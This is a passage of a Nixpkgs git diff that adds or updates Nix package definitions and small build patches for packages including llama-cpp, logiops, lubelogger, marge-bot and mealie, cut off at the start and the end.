metalSupport) + (cmakeBool "LLAMA_MPI" mpiSupport) + (cmakeBool "LLAMA_VULKAN" vulkanSupport) ] - ++ lib.optionals metalSupport [ - "-DCMAKE_C_FLAGS=-D__ARM_FEATURE_DOTPROD=1" - "-DLLAMA_METAL=ON" - ] - ++ lib.optionals cudaSupport [ - "-DLLAMA_CUBLAS=ON" - ] - ++ lib.optionals rocmSupport [ - "-DLLAMA_HIPBLAS=1" - "-DCMAKE_C_COMPILER=hipcc" - "-DCMAKE_CXX_COMPILER=hipcc" - "-DCMAKE_POSITION_INDEPENDENT_CODE=ON" - ] - ++ lib.optionals openclSupport [ - "-DLLAMA_CLBLAST=ON" - ] - ++ lib.optionals blasSupport [ - "-DLLAMA_BLAS=ON" - "-DLLAMA_BLAS_VENDOR=OpenBLAS" - ] - ++ lib.optionals (!static) [ - (lib.cmakeBool "BUILD_SHARED_LIBS" true) - ]; - - installPhase = '' - runHook preInstall - - mkdir -p $out/bin - ${lib.optionalString (!static) '' - mkdir $out/lib - cp libggml_shared.so $out/lib - cp libllama.so $out/lib - ''} - - for f in bin/*; do - test -x "$f" || continue - ${lib.optionalString (!static) '' - ${patchelf}/bin/patchelf "$f" --set-rpath "$out/lib" - ''} - cp "$f" $out/bin/llama-cpp-"$(basename "$f")" - done - - ${lib.optionalString metalSupport "cp ./bin/ggml-metal.metal $out/bin/ggml-metal.metal"} - - runHook postInstall + ++ optionals cudaSupport [ + ( + with cudaPackages.flags; + cmakeFeature "CMAKE_CUDA_ARCHITECTURES" ( + builtins.concatStringsSep ";" (map dropDot cudaCapabilities) + ) + ) + ] + ++ optionals rocmSupport [ + (cmakeFeature "CMAKE_C_COMPILER" "hipcc") + (cmakeFeature "CMAKE_CXX_COMPILER" "hipcc") + + # Build all targets supported by rocBLAS. When updating search for TARGET_LIST_ROCM + # in https://github.com/ROCmSoftwarePlatform/rocBLAS/blob/develop/CMakeLists.txt + # and select the line that matches the current nixpkgs version of rocBLAS. + # Should likely use `rocmPackages.clr.gpuTargets`. + "-DAMDGPU_TARGETS=gfx803;gfx900;gfx906:xnack-;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-;gfx940;gfx941;gfx942;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102" + ] + ++ optionals metalSupport [ (cmakeFeature "CMAKE_C_FLAGS" "-D__ARM_FEATURE_DOTPROD=1") ] + ++ optionals blasSupport [ (cmakeFeature "LLAMA_BLAS_VENDOR" "OpenBLAS") ]; + + # upstream plans on adding targets at the cmakelevel, remove those + # additional steps after that + postInstall = '' + mv $out/bin/main $out/bin/llama + mv $out/bin/server $out/bin/llama-server + mkdir -p $out/include + cp $src/llama.h $out/include/ ''; passthru.updateScript = nix-update-script { @@ -144,9 +152,10 @@ effectiveStdenv.mkDerivation (finalAttrs: { description = "Port of Facebook's LLaMA model in C/C++"; homepage = "https://github.com/ggerganov/llama.cpp/"; license = licenses.mit; - mainProgram = "llama-cpp-main"; - maintainers = with maintainers; [ dit7ya elohmeier ]; - broken = (effectiveStdenv.isDarwin && effectiveStdenv.isx86_64) || lib.count lib.id [openclSupport blasSupport rocmSupport cudaSupport] == 0; + mainProgram = "llama"; + maintainers = with maintainers; [ dit7ya elohmeier philiptaron ]; platforms = platforms.unix; + badPlatforms = optionals (cudaSupport || openclSupport) lib.platforms.darwin; + broken = (metalSupport && !effectiveStdenv.isDarwin); }; }) diff --git a/pkgs/by-name/lo/logiops/package.nix b/pkgs/by-name/lo/logiops/package.nix new file mode 100644 index 0000000000000..e8cb020a32c53 --- /dev/null +++ b/pkgs/by-name/lo/logiops/package.nix @@ -0,0 +1,56 @@ +{ + lib, + stdenv, + fetchFromGitHub, + pkg-config, + cmake, + glib, + udev, + libevdev, + libconfig, +}: + +stdenv.mkDerivation (oldAttrs: { + pname = "logiops"; + version = "0.3.3"; + + src = fetchFromGitHub { + owner = "PixlOne"; + repo = "logiops"; + rev = "v${oldAttrs.version}"; + sha256 = "sha256-9nFTud5szQN8jpG0e/Bkp+I9ELldfo66SdfVCUTuekg="; + # In v0.3.0, the `ipcgull` submodule was added as a dependency + # https://github.com/PixlOne/logiops/releases/tag/v0.3.0 + fetchSubmodules = true; + }; + + patches = [ + ./pkgs0001-Make-DBUS_SYSTEM_POLICY_INSTALL_DIR-externally-overr.patch + ]; + + nativeBuildInputs = [ + cmake + pkg-config + ]; + buildInputs = [ + udev + libevdev + libconfig + glib + ]; + + cmakeFlags = [ + "-DLOGIOPS_VERSION=${oldAttrs.version}" + "-DDBUS_SYSTEM_POLICY_INSTALL_DIR=${placeholder "out"}/share/dbus-1/system.d" + ]; + + PKG_CONFIG_SYSTEMD_SYSTEMDSYSTEMUNITDIR = "${placeholder "out"}/lib/systemd/system"; + + meta = with lib; { + description = "Unofficial userspace driver for HID++ Logitech devices"; + homepage = "https://github.com/PixlOne/logiops"; + license = licenses.gpl3Plus; + maintainers = with maintainers; [ ckie ]; + platforms = with platforms; linux; + }; +}) diff --git a/pkgs/by-name/lo/logiops/pkgs0001-Make-DBUS_SYSTEM_POLICY_INSTALL_DIR-externally-overr.patch b/pkgs/by-name/lo/logiops/pkgs0001-Make-DBUS_SYSTEM_POLICY_INSTALL_DIR-externally-overr.patch new file mode 100644 index 0000000000000..1c3ab61dd601d --- /dev/null +++ b/pkgs/by-name/lo/logiops/pkgs0001-Make-DBUS_SYSTEM_POLICY_INSTALL_DIR-externally-overr.patch @@ -0,0 +1,30 @@ +From b7588376e20661c8d79e7472732244c70b8e7d3f Mon Sep 17 00:00:00 2001 +From: ckie <git-525ff67@ckie.dev> +Date: Mon, 16 Oct 2023 02:02:38 +0300 +Subject: [PATCH] Make DBUS_SYSTEM_POLICY_INSTALL_DIR externally overrideable + +--- + src/logid/CMakeLists.txt | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +diff --git a/src/logid/CMakeLists.txt b/src/logid/CMakeLists.txt +index b2616c8..58d6719 100644 +--- a/src/logid/CMakeLists.txt ++++ b/src/logid/CMakeLists.txt +@@ -111,9 +111,11 @@ elseif (NOT SYSTEMD_FOUND AND SYSTEMD_SERVICES_INSTALL_DIR) + endif () + + # Install DBus conf +-# TODO: Is there a better way of setting the system policy directory? +-set(DBUS_SYSTEM_POLICY_INSTALL_DIR "/usr/share/dbus-1/system.d") + configure_file(logiops-dbus.conf.in ${CMAKE_BINARY_DIR}/pizza.pixl.LogiOps.conf) ++if (NOT DEFINED DBUS_SYSTEM_POLICY_INSTALL_DIR) ++ # TODO: Is there a better way of setting the system policy directory? ++ set(DBUS_SYSTEM_POLICY_INSTALL_DIR "/usr/share/dbus-1/system.d") ++endif () + message(STATUS "dbus system policy will be installed at ${DBUS_SYSTEM_POLICY_INSTALL_DIR}") + install(FILES ${CMAKE_BINARY_DIR}/pizza.pixl.LogiOps.conf + DESTINATION ${DBUS_SYSTEM_POLICY_INSTALL_DIR} +-- +2.42.0 + diff --git a/pkgs/misc/drivers/logiops/default.nix b/pkgs/by-name/lo/logiops_0_2_3/package.nix index 71283a406214e..71283a406214e 100644 --- a/pkgs/misc/drivers/logiops/default.nix +++ b/pkgs/by-name/lo/logiops_0_2_3/package.nix diff --git a/pkgs/by-name/lo/loramon/package.nix b/pkgs/by-name/lo/loramon/package.nix new file mode 100644 index 0000000000000..9d0161dff2cd2 --- /dev/null +++ b/pkgs/by-name/lo/loramon/package.nix @@ -0,0 +1,33 @@ +{ lib +, python3 +, fetchFromGitHub +}: + +python3.pkgs.buildPythonApplication rec { + pname = "loramon"; + version = "0.9.7"; + pyproject = true; + + src = fetchFromGitHub { + owner = "markqvist"; + repo = "LoRaMon"; + rev = "refs/tags/${version}"; + hash = "sha256-94tXhuAoaS1y/zGz63PPqOayRylGK0Ei2a6H4/BCB30"; + }; + + nativeBuildInputs = with python3.pkgs; [ + setuptools + ]; + + propagatedBuildInputs = with python3.pkgs; [ + pyserial + ]; + + meta = with lib; { + description = "LoRa packet sniffer for RNode hardware"; + homepage = "https://github.com/markqvist/LoRaMon"; + changelog = "https://github.com/markqvist/LoRaMon/releases/tag/${version}"; + license = licenses.mit; + maintainers = with maintainers; [ erethon ]; + }; +} diff --git a/pkgs/by-name/lo/louvre/package.nix b/pkgs/by-name/lo/louvre/package.nix index a6445fad4347c..0435e553d9d45 100644 --- a/pkgs/by-name/lo/louvre/package.nix +++ b/pkgs/by-name/lo/louvre/package.nix @@ -22,9 +22,9 @@ }: stdenv.mkDerivation (self: { pname = "louvre"; - version = "1.1.0-1"; + version = "1.2.1-2"; rev = "v${self.version}"; - hash = "sha256-HwvX0ykl2+4MBcIixmEknFtsB0QC4w1QDzQz1589bl0="; + hash = "sha256-jHMgn6EwWt9GMT8JvIUtUPbn9o1DZCzxiYC7RnoGZv0="; src = fetchFromGitHub { inherit (self) rev hash; diff --git a/pkgs/applications/misc/lsd2dsl/default.nix b/pkgs/by-name/ls/lsd2dsl/package.nix index b46c6ea2afa3c..4ab26b40a7c2e 100644 --- a/pkgs/applications/misc/lsd2dsl/default.nix +++ b/pkgs/by-name/ls/lsd2dsl/package.nix @@ -1,23 +1,40 @@ -{ lib, stdenv, mkDerivation, fetchFromGitHub +{ lib, stdenv, fetchFromGitHub , makeDesktopItem, copyDesktopItems, cmake -, boost, libvorbis, libsndfile, minizip, gtest, qtwebkit }: +, boost, cups, fmt, libvorbis, libsndfile, minizip, gtest, qt6 }: -mkDerivation rec { +stdenv.mkDerivation rec { pname = "lsd2dsl"; - version = "0.5.4"; + version = "0.6.0"; src = fetchFromGitHub { owner = "nongeneric"; - repo = pname; + repo = "lsd2dsl"; rev = "v${version}"; - sha256 = "sha256-PLgfsVVrNBTxI4J0ukEOFRoBkbmB55/sLNn5KyiHeAc="; + hash = "sha256-0UsxDNpuWpBrfjh4q3JhZnOyXhHatSa3t/cApiG2JzM="; }; - nativeBuildInputs = [ cmake ] ++ lib.optional stdenv.isLinux copyDesktopItems; - - buildInputs = [ boost libvorbis libsndfile minizip gtest qtwebkit ]; + postPatch = '' + substituteInPlace CMakeLists.txt --replace "-Werror" "" + ''; - env.NIX_CFLAGS_COMPILE = "-Wno-error=unused-result -Wno-error=missing-braces"; + nativeBuildInputs = [ + cmake + qt6.wrapQtAppsHook + ] ++ lib.optional stdenv.isLinux copyDesktopItems; + + buildInputs = [ + boost + cups + fmt + libvorbis + libsndfile + minizip + gtest + qt6.qt5compat + qt6.qtwebengine + ]; + + env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-int-conversion"; desktopItems = lib.singleton (makeDesktopItem { name = "lsd2dsl"; diff --git a/pkgs/games/lgames/ltris/default.nix b/pkgs/by-name/lt/ltris/package.nix index 8cf581b376bf6..82137b2fbec64 100644 --- a/pkgs/games/lgames/ltris/default.nix +++ b/pkgs/by-name/lt/ltris/package.nix @@ -1,18 +1,18 @@ { lib -, stdenv -, fetchurl , SDL , SDL_mixer , directoryListingUpdater +, fetchurl +, stdenv }: -stdenv.mkDerivation rec { - pname = "ltris"; - version = "1.2.7"; +stdenv.mkDerivation (finalAttrs: { + pname = "lgames-ltris"; + version = "1.2.8"; src = fetchurl { - url = "mirror://sourceforge/lgames/${pname}-${version}.tar.gz"; - hash = "sha256-EpHGpkLQa57hU6wKLnhVosmD6DnGGPGilN8E2ClSXLA="; + url = "mirror://sourceforge/lgames/ltris-${finalAttrs.version}.tar.gz"; + hash = "sha256-2e5haaU2pqkBk82qiF/3HQgSBVPHP09UwW+TQqpGUqA="; }; buildInputs = [ @@ -23,17 +23,18 @@ stdenv.mkDerivation rec { hardeningDisable = [ "format" ]; passthru.updateScript = directoryListingUpdater { - inherit pname version; + inherit (finalAttrs) pname version; url = "https://lgames.sourceforge.io/LTris/"; extraRegex = "(?!.*-win(32|64)).*"; }; - meta = with lib; { + meta = { homepage = "https://lgames.sourceforge.io/LTris/"; description = "Tetris clone from the LGames series"; - license = licenses.gpl2Plus; - maintainers = with maintainers; [ AndersonTorres ciil ]; + license = with lib.licenses; [ gpl2Plus ]; + mainProgram = "ltris"; + maintainers = with lib.maintainers; [ AndersonTorres ]; inherit (SDL.meta) platforms; broken = stdenv.isDarwin; }; -} +}) diff --git a/pkgs/by-name/lu/lubelogger/deps.nix b/pkgs/by-name/lu/lubelogger/deps.nix new file mode 100644 index 0000000000000..beb83e87aeae0 --- /dev/null +++ b/pkgs/by-name/lu/lubelogger/deps.nix @@ -0,0 +1,15 @@ +# This file was automatically generated by passthru.fetch-deps. +# Please dont edit it manually, your changes might get overwritten! + +{ fetchNuGet }: [ + (fetchNuGet { pname = "CsvHelper"; version = "30.0.1"; sha256 = "0v01s672zcrd3fjwzh14dihbal3apzyg3dc80k05a90ljk8yh9wl"; }) + (fetchNuGet { pname = "LiteDB"; version = "5.0.17"; sha256 = "126h0g850nc6dqvhwivfjsgb8lydsg250pcsvbzkasda2z5m9mln"; }) + (fetchNuGet { pname = "Microsoft.Extensions.DependencyInjection.Abstractions"; version = "8.0.0"; sha256 = "1zw0bpp5742jzx03wvqc8csnvsbgdqi0ls9jfc5i2vd3cl8b74pg"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Logging.Abstractions"; version = "8.0.0"; sha256 = "1klcqhg3hk55hb6vmjiq2wgqidsl81aldw0li2z98lrwx26msrr6"; }) + (fetchNuGet { pname = "Microsoft.IdentityModel.Abstractions"; version = "7.3.1"; sha256 = "0dvknvmnzi3jn2kz0fbcb3ilryd75dwyiwqn6cwc6nd5gdz4mdlm"; }) + (fetchNuGet { pname = "Microsoft.IdentityModel.JsonWebTokens"; version = "7.3.1"; sha256 = "03pd6b35a5j1qxmcf9552rp43fwddn1z3czyb6wlf1w1f95b5fqb"; }) + (fetchNuGet { pname = "Microsoft.IdentityModel.Logging"; version = "7.3.1"; sha256 = "0368p59kf6r9dyk511phl65wvk76n8885d2m9812fpj0ifqcdqg8"; }) + (fetchNuGet { pname = "Microsoft.IdentityModel.Tokens"; version = "7.3.1"; sha256 = "0i8mqrvzx9xi9pg1c92iy6cr756nnc3lr5cdawj0yh1x919wvx59"; }) + (fetchNuGet { pname = "Npgsql"; version = "8.0.2"; sha256 = "0w1hm3bjh1vfnkzflp1x8bd4d723mpr4y6gb6ga79v5kkf09cmm2"; }) + (fetchNuGet { pname = "System.IdentityModel.Tokens.Jwt"; version = "7.3.1"; sha256 = "095vn30apzwhqf70541617276whp19a92ncfppbknjj97dlb8bja"; }) +] diff --git a/pkgs/by-name/lu/lubelogger/package.nix b/pkgs/by-name/lu/lubelogger/package.nix new file mode 100644 index 0000000000000..f398f8268eb57 --- /dev/null +++ b/pkgs/by-name/lu/lubelogger/package.nix @@ -0,0 +1,44 @@ +{ lib +, buildDotnetModule +, dotnetCorePackages +, fetchFromGitHub +}: + +buildDotnetModule rec { + pname = "lubelogger"; + version = "1.2.4"; + + src = fetchFromGitHub { + owner = "hargata"; + repo = "lubelog"; + rev = "v${version}"; + hash = "sha256-1U4dCjm3tRb4GANovIR+Ov4B7+o4DS9lVGjwJnXyR/8="; + }; + + projectFile = "CarCareTracker.sln"; + nugetDeps = ./deps.nix; # File generated with `nix-build -A package.passthru.fetch-deps`. + + dotnet-sdk = dotnetCorePackages.sdk_8_0; + dotnet-runtime = dotnetCorePackages.aspnetcore_8_0; + + makeWrapperArgs = [ + "--set DOTNET_CONTENTROOT ${placeholder "out"}/lib/lubelogger" + ]; + + executables = [ "CarCareTracker" ]; # This wraps "$out/lib/$pname/foo" to `$out/bin/foo`. + + meta = with lib; { + description = "A vehicle service records and maintainence tracker"; + longDescription = '' + A self-hosted, open-source, unconventionally-named vehicle maintenance records and fuel mileage tracker. + + LubeLogger by Hargata Softworks is licensed under the MIT License for individual and personal use. Commercial users and/or corporate entities are required to maintain an active subscription in order to continue using LubeLogger. + ''; + homepage = "https://lubelogger.com"; + changelog = "https://github.com/hargata/lubelog/releases/tag/v${version}"; + license = licenses.unfree; + maintainers = with maintainers; [ samasaur ]; + mainProgram = "CarCareTracker"; + platforms = platforms.all; + }; +} diff --git a/pkgs/by-name/lu/ludtwig/package.nix b/pkgs/by-name/lu/ludtwig/package.nix index 31e80c5d19dcf..18145c63a6763 100644 --- a/pkgs/by-name/lu/ludtwig/package.nix +++ b/pkgs/by-name/lu/ludtwig/package.nix @@ -2,23 +2,24 @@ rustPlatform.buildRustPackage rec { pname = "ludtwig"; - version = "0.8.0"; + version = "0.8.3"; src = fetchFromGitHub { owner = "MalteJanz"; repo = pname; rev = "v${version}"; - hash = "sha256-WF3tEf3SuXiH35Ny4RGLzvEW7yMsFcnVTX52e5qvK5g="; + hash = "sha256-nkyi6X9W92yLaSPCg3zk0z/Pwue6dGK09iCDmWliFeg="; }; checkType = "debug"; - cargoHash = "sha256-AbT8Jv6v7EVPX5mIplKaBkGrVonA8YWlMvo46coFMzk="; + cargoHash = "sha256-CZOdxrQ/50xznc8cfvi+6QFmMpPOS1st+yVPtAkZ3/A="; meta = with lib; { - description = "Linter / Formatter for Twig template files which respects HTML and your time."; + description = "Linter / Formatter for Twig template files which respects HTML and your time"; homepage = "https://github.com/MalteJanz/ludtwig"; license = licenses.mit; - maintainers = with maintainers; [ shyim ]; + maintainers = with maintainers; [ shyim maltejanz ]; + mainProgram = "ludtwig"; }; } diff --git a/pkgs/by-name/lu/lunar-client/package.nix b/pkgs/by-name/lu/lunar-client/package.nix index c01e74dd9a805..3b8102c2d9ee0 100644 --- a/pkgs/by-name/lu/lunar-client/package.nix +++ b/pkgs/by-name/lu/lunar-client/package.nix @@ -6,11 +6,11 @@ appimageTools.wrapType2 rec { pname = "lunar-client"; - version = "3.2.1"; + version = "3.2.3"; src = fetchurl { url = "https://launcherupdates.lunarclientcdn.com/Lunar%20Client-${version}.AppImage"; - hash = "sha512-ZW+SFIZ5+xxgesaZ7ZQbUnv7H5U92SZdfAU7GhJR1H0mhkrIb5Go6GWrIXaWYZLrmOlD98LSLihYi7SemJp+Yg=="; + hash = "sha512-2zuVURKDw+Z/8I1AO8G5KPVOlPIZC/Mbt9jK5gn9CV1zmRiWKL+m1/Bw9/h7fanBdm0fhfLklplmlTTabPm7dg=="; }; extraInstallCommands = diff --git a/pkgs/by-name/ma/magicrescue/package.nix b/pkgs/by-name/ma/magicrescue/package.nix new file mode 100644 index 0000000000000..47aee9621ed89 --- /dev/null +++ b/pkgs/by-name/ma/magicrescue/package.nix @@ -0,0 +1,41 @@ +{ lib +, stdenv +, fetchFromGitHub +, fetchpatch +, gdbm # ndbm.h for dupemap binary +, perl +}: + +stdenv.mkDerivation { + pname = "magicrescue"; + version = "1.1.10-unstable-2021-09-12"; + + src = fetchFromGitHub { + owner = "jbj"; + repo = "magicrescue"; + rev = "d9a57931d437674009bfd2f98451b3d71058eade"; + hash = "sha256-jVBzsa39TQjeDZ4zuXn3UA+4WectjNRwPNb1AkLuIbg="; + }; + + patches = [ + # Add PERL as processor for file. + (fetchpatch { + url = "https://salsa.debian.org/pkg-security-team/magicrescue/-/raw/6331d088a159ae21ad4ab5f18b9bf892ebe18ce3/debian/patches/020_add-Perl-preprocessor.patch"; + hash = "sha256-XX3Rlv/qKB2y/csuaPiliv4cu9KKHNpG/E88VSVP0sg="; + }) + ]; + + buildInputs = [ + gdbm + perl + ]; + + meta = with lib; { + description = "Find and recover deleted files on block devices"; + mainProgram = "magicrescue"; + homepage = "https://github.com/jbj/magicrescue"; + maintainers = with maintainers; [ d3vil0p3r ]; + platforms = platforms.unix; + license = licenses.gpl2Plus; + }; +} diff --git a/pkgs/by-name/ma/marge-bot/package.nix b/pkgs/by-name/ma/marge-bot/package.nix new file mode 100644 index 0000000000000..b564622271d31 --- /dev/null +++ b/pkgs/by-name/ma/marge-bot/package.nix @@ -0,0 +1,50 @@ +{ lib +, python3 +, fetchFromGitLab +}: + +python3.pkgs.buildPythonApplication rec { + pname = "marge-bot"; + version = "0.10.1"; + pyproject = true; + + src = fetchFromGitLab { + owner = "marge-org"; + repo = "marge-bot"; + rev = version; + hash = "sha256-2L7c/NEKyjscwpyf/5GtWXr7Ig14IQlRR5IbDYxp8jA="; + }; + + postPatch = '' + substituteInPlace setup.cfg --replace "--flake8 --pylint --cov=marge" "" + ''; + + nativeBuildInputs = [ + python3.pkgs.setuptools + ]; + + propagatedBuildInputs = with python3.pkgs; [ + configargparse + maya + pyyaml + requests + ]; + + nativeCheckInputs = with python3.pkgs; [ pytestCheckHook ]; + disabledTests = [ + # test broken when run under Nix: + # "unittest.mock.InvalidSpecError: Cannot spec a Mock object." + "test_get_mr_ci_status" + ]; + + pythonImportsCheck = [ "marge" ]; + + meta = with lib; { + description = "A merge bot for GitLab"; + homepage = "https://gitlab.com/marge-org/marge-bot"; + changelog = "https://gitlab.com/marge-org/marge-bot/-/blob/${src.rev}/CHANGELOG.md"; + license = licenses.bsd3; + maintainers = with maintainers; [ bcdarwin ]; + mainProgram = "marge.app"; + }; +} diff --git a/pkgs/development/tools/documentation/mdsh/default.nix b/pkgs/by-name/md/mdsh/package.nix index 654721c50ea97..e97b8eee51fef 100644 --- a/pkgs/development/tools/documentation/mdsh/default.nix +++ b/pkgs/by-name/md/mdsh/package.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "mdsh"; - version = "0.7.0"; + version = "0.8.0"; src = fetchFromGitHub { owner = "zimbatm"; repo = "mdsh"; rev = "v${version}"; - hash = "sha256-Y8ss/aw01zpgM6Z6fCGshP21kcdSOTVG/VqL8H3tlls="; + hash = "sha256-ammLbKEKXDSuZMr4DwPpcRSkKh7BzNC+4ZRCqTNNCQk="; }; - cargoSha256 = "sha256-8o4gN6mqUU+o80IqlAYAD5qpZBSQ/FY5HoNbpwzTm0A="; + cargoHash = "sha256-wLHMccxk3ceZyGK27t5Kyal48yj9dQNgmEHjH9hR9Pc="; meta = with lib; { description = "Markdown shell pre-processor"; diff --git a/pkgs/by-name/me/mealie/mealie-frontend.nix b/pkgs/by-name/me/mealie/mealie-frontend.nix new file mode 100644 index 0000000000000..5a7b677802ee8 --- /dev/null +++ b/pkgs/by-name/me/mealie/mealie-frontend.nix @@ -0,0 +1,51 @@ +src: version: +{ lib, fetchYarnDeps, nodejs_18, prefetch-yarn-deps, stdenv }: stdenv.mkDerivation { + name = "mealie-frontend"; + inherit version; + src = "${src}/frontend"; + + yarnOfflineCache = fetchYarnDeps { + yarnLock = "${src}/frontend/yarn.lock"; + hash = "sha256-zQUD/PQWzp2Q6fiVmLicvSusXffu6s9q3x/aAUnCN38="; + }; + + nativeBuildInputs = [ + prefetch-yarn-deps + nodejs_18 + nodejs_18.pkgs.yarn + ]; + + configurePhase = '' + runHook preConfigure + + export HOME=$(mktemp -d) + yarn config --offline set yarn-offline-mirror "$yarnOfflineCache" + fixup-yarn-lock yarn.lock + yarn install --frozen-lockfile --offline --no-progress --non-interactive + patchShebangs node_modules/ + + runHook postConfigure + ''; + + buildPhase = '' + runHook preBuild + + export NUXT_TELEMETRY_DISABLED=1 + yarn --offline build + yarn --offline generate + + runHook postBuild + ''; + + installPhase = '' + runHook preInstall + mv dist $out + runHook postInstall + ''; + + meta = with lib; { + description = "Frontend for Mealie"; + license = licenses.agpl3Only; + maintainers = with maintainers; [ litchipi ]; + }; +} diff --git a/pkgs/by-name/me/mealie/mealie-logs-to-stdout.patch b/pkgs/by-name/me/mealie/mealie-logs-to-stdout.patch new file mode 100644 index 0000000000000..521c5cebcf74d --- /dev/null +++ b/pkgs/by-name/me/mealie/mealie-logs-to-stdout.patch @@ -0,0 +1,103 @@ +diff --git a/mealie/core/root_logger.py b/mealie/core/root_logger.py +index 29db504f..3da5ef84 100644 +--- a/mealie/core/root_logger.py ++++ b/mealie/core/root_logger.py +@@ -9,7 +9,6 @@ DATA_DIR = determine_data_dir() + + from .config import get_app_settings # noqa E402 + +-LOGGER_FILE = DATA_DIR.joinpath("mealie.log") + DATE_FORMAT = "%d-%b-%y %H:%M:%S" + LOGGER_FORMAT = "%(levelname)s: %(asctime)s \t%(message)s" + +@@ -40,19 +39,17 @@ def get_logger_config(): + level=log_level, + ) + +- output_file_handler = logging.FileHandler(LOGGER_FILE) + handler_format = logging.Formatter(LOGGER_FORMAT, datefmt=DATE_FORMAT) +- output_file_handler.setFormatter(handler_format) + + # Stdout + stdout_handler = logging.StreamHandler(sys.stdout) + stdout_handler.setFormatter(handler_format) + + return LoggerConfig( +- handlers=[output_file_handler, stdout_handler], ++ handlers=[stdout_handler], + format="%(levelname)s: %(asctime)s \t%(message)s", + date_format="%d-%b-%y %H:%M:%S", +- logger_file=LOGGER_FILE, ++ logger_file=None, + level=log_level, + ) + +diff --git a/mealie/routes/admin/admin_log.py b/mealie/routes/admin/admin_log.py +index ac12c12e..0de98b99 100644 +--- a/mealie/routes/admin/admin_log.py ++++ b/mealie/routes/admin/admin_log.py +@@ -1,6 +1,5 @@ + from fastapi import APIRouter + +-from mealie.core.root_logger import LOGGER_FILE + from mealie.core.security import create_file_token + + router = APIRouter(prefix="/logs") +@@ -9,15 +8,13 @@ router = APIRouter(prefix="/logs") + @router.get("/{num}") + async def get_log(num: int): + """Doc Str""" +- with open(LOGGER_FILE, "rb") as f: +- log_text = tail(f, num) +- return log_text ++ return "" + + + @router.get("") + async def get_log_file(): + """Returns a token to download a file""" +- return {"fileToken": create_file_token(LOGGER_FILE)} ++ return {"fileToken": create_file_token("nofile")} + + + def tail(f, lines=20): +diff --git a/mealie/routes/admin/admin_maintenance.py b/mealie/routes/admin/admin_maintenance.py +index 23ef8369..322b580f 100644 +--- a/mealie/routes/admin/admin_maintenance.py ++++ b/mealie/routes/admin/admin_maintenance.py +@@ -6,7 +6,6 @@ from pathlib import Path + + from fastapi import APIRouter, HTTPException + +-from mealie.core.root_logger import LOGGER_FILE + from mealie.pkgs.stats import fs_stats + from mealie.routes._base import BaseAdminController, controller + from mealie.schema.admin import MaintenanceSummary +@@ -73,8 +72,6 @@ class AdminMaintenanceController(BaseAdminController): + Get the maintenance summary + """ + log_file_size = 0 +- with contextlib.suppress(FileNotFoundError): +- log_file_size = os.path.getsize(LOGGER_FILE) + + return MaintenanceSummary( + data_dir_size=fs_stats.pretty_size(fs_stats.get_dir_size(self.folders.DATA_DIR)), +@@ -85,7 +82,7 @@ class AdminMaintenanceController(BaseAdminController): + + @router.get("/logs", response_model=MaintenanceLogs) + def get_logs(self, lines: int = 200): +- return MaintenanceLogs(logs=tail_log(LOGGER_FILE, lines)) ++ return MaintenanceLogs(logs="") + + @router.get("/storage", response_model=MaintenanceStorageDetails) + def get_storage_details(self): +@@ -137,9 +134,6 @@ class AdminMaintenanceController(BaseAdminController): + Purges the logs + """ + try: +- with contextlib.suppress(FileNotFoundError): +- os.remove(LOGGER_FILE) +- LOGGER_FILE.touch() + return SuccessResponse.respond("Logs cleaned") + except Exception as e: + raise HTTPException(status_code=500, detail=ErrorResponse.respond("Failed to clean logs")) from e diff --git a/pkgs/by-name/me/mealie/package.nix b/pkgs/by-name/me/mealie/package.nix new file mode 100644 index 0000000000000..2d1512f67ebcb --- /dev/null +++ b/pkgs/by-name/me/mealie/package.nix @@ -0,0 +1,166 @@ +{ lib +, callPackage +, fetchFromGitHub +, fetchpatch +, makeWrapper +, nixosTests +, python3Packages +, stdenv +, writeShellScript +}: + +let + version = "1.2.0"; + src = fetchFromGitHub { + owner = "mealie-recipes"; + repo = "mealie"; + rev = "v${version}"; + sha256 = "sha256-Kc49XDWcZLeJaYgiAO2/mHeVSOLMeiPr3U32e0IYfdU="; + }; + + frontend = callPackage (import ./mealie-frontend.nix src version) { }; + + pythonpkgs = python3Packages.override { + overrides = self: super: { + pydantic = python3Packages.pydantic_1; + }; + }; + python = pythonpkgs.python; + + crfpp = stdenv.mkDerivation { + pname = "mealie-crfpp"; + version = "unstable-2024-02-12"; + src = fetchFromGitHub { + owner = "mealie-recipes"; + repo = "crfpp"; + rev = "c56dd9f29469c8a9f34456b8c0d6ae0476110516"; + hash = "sha256-XNps3ZApU8m07bfPEnvip1w+3hLajdn9+L5+IpEaP0c="; + }; + }; + + mealie_patch = { name, commit, hash }: fetchpatch { + inherit name hash; + url = "https://github.com/mealie-recipes/mealie/commit/${commit}.patch"; + }; + +in pythonpkgs.buildPythonPackage rec { + pname = "mealie"; + inherit version src; + pyproject = true; + + patches = [ + # See https://github.com/mealie-recipes/mealie/pull/3102 + # Replace hardcoded paths in code with environment variables (meant for inside Docker only) + # So we can configure easily where the data is stored on the server + (mealie_patch { + name = "model-path.patch"; + commit = "e445705c5d26b895d806b96b2f330d4e9aac3723"; + hash = "sha256-cf0MwvT81lNBTjvag8UUEbXkBu8Jyi/LFwUcs4lBVcY="; + }) + (mealie_patch { + name = "alembic-cfg-path.patch"; + commit = "06c528bfac0708af66aa0629f2e2232ddf07768f"; + hash = "sha256-IOgdZK7dmWeX2ox16J9v+bOS7nHgCMvCJy6RNJLj0p8="; + }) + ./mealie-logs-to-stdout.patch + ]; + + nativeBuildInputs = [ + pythonpkgs.poetry-core + pythonpkgs.pythonRelaxDepsHook + makeWrapper + ]; + + dontWrapPythonPrograms = true; + + doCheck = false; + pythonRelaxDeps = true; + + propagatedBuildInputs = with pythonpkgs; [ + aiofiles + alembic + aniso8601 + appdirs + apprise + bcrypt + extruct + fastapi + gunicorn + html2text + httpx + jinja2 + lxml + orjson + paho-mqtt + passlib + pillow + psycopg2 + pyhumps + pytesseract + python-dotenv + python-jose + python-ldap + python-multipart + python-slugify + pyyaml + rapidfuzz + recipe-scrapers + sqlalchemy + tzdata + uvicorn + ]; + + postPatch = '' + substituteInPlace mealie/__init__.py \ + --replace-fail '__version__ = ' '__version__ = "${version}" #' + ''; + + postInstall = let + start_script = writeShellScript "start-mealie" '' + ${lib.getExe pythonpkgs.gunicorn} "$@" -k 